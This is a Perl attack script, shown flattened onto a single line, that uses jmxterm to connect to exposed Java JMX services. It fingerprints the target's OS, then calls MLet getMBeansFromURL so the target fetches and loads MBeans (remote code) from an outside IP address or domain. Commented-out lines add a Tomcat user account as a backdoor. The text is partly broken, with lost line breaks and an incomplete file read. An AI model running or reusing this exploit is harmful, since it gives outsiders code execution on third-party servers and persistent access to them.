#!/usr/bin/perl use FindBin qw($Bin); use File::Temp qw/ :mktemp /; my $jar = "$Bin/jmxterm-1.0.0-uber.jar"; die("jmxterm not found!") if( !(-f $jar)); die("ERROR!\n\n$0 \n\n") if (@ARGV <1); my $arg = shift; my ($host,$port) = split(/:/,$arg); $port = 1099 if($port < 64000); # print "$host\t$port\n"; # open JMX, "| java -jar $jar -n"; # print JMX "help \n"; # &execJmx("run -d DefaultDomain -b Users:type=UserDatabase,database=UserDatabase createUser monitor testting"); my (@version) = &execJmx("get -b java.lang:type=OperatingSystem Name Arch Version -n -s -l -") or die("error on connect $?"); print "[X] Connected $host:$port\t@version\n"; my (@mlet) = &execJmx("run -b DefaultDomain:type=MLet getMBeansFromURL http://162.210.173.220:8080/"); # if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet $?\n"; } if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet\n"; } (@mlet) = &execJmx("domains"); if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet\n"; } (@mlet) = &execJmx("beans"); if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet\n"; } #{ # print "[X] $_\n"; # } exit; # print JMX "open $host:$port\n"; # print "[X] --- DOMAINS --- \n"; # print JMX "domains\n"; # print "[X] --- BEANS --- \n"; # print JMX "run -b DefaultDomain:type=MLet getMBeansFromURL http://home.forward.pw:80/mlet/"; # print JMX "run -d DefaultDomain -b Users:type=UserDatabase,database=UserDatabase createUser monitor testting"; # print JMX "close\n"; # close JMX; # ($fh, $file) = mkstemps( "tmpfileXXXXXX", $suffix); sub execJmx(){ my $command = shift; my ($fh, $file) = mkstemp( "/tmp/tmpfileXXXXX" ); my $cmd = "echo $command | java -jar $jar -o $file -n -l $host:$port -e 2>/dev/null" ; # anything to stdout my $ret = `$cmd`; # my $exit = system( $cmd ) ; if($?) { return (-1,"$?") } open(FILE,$file); my @input = ; close(FILE); # while(){ # print "$_\n"; # } #print "@input\n" ; system("rm $file"); return (@input); # print "Exit:$exit\t File:$file\n"; # } }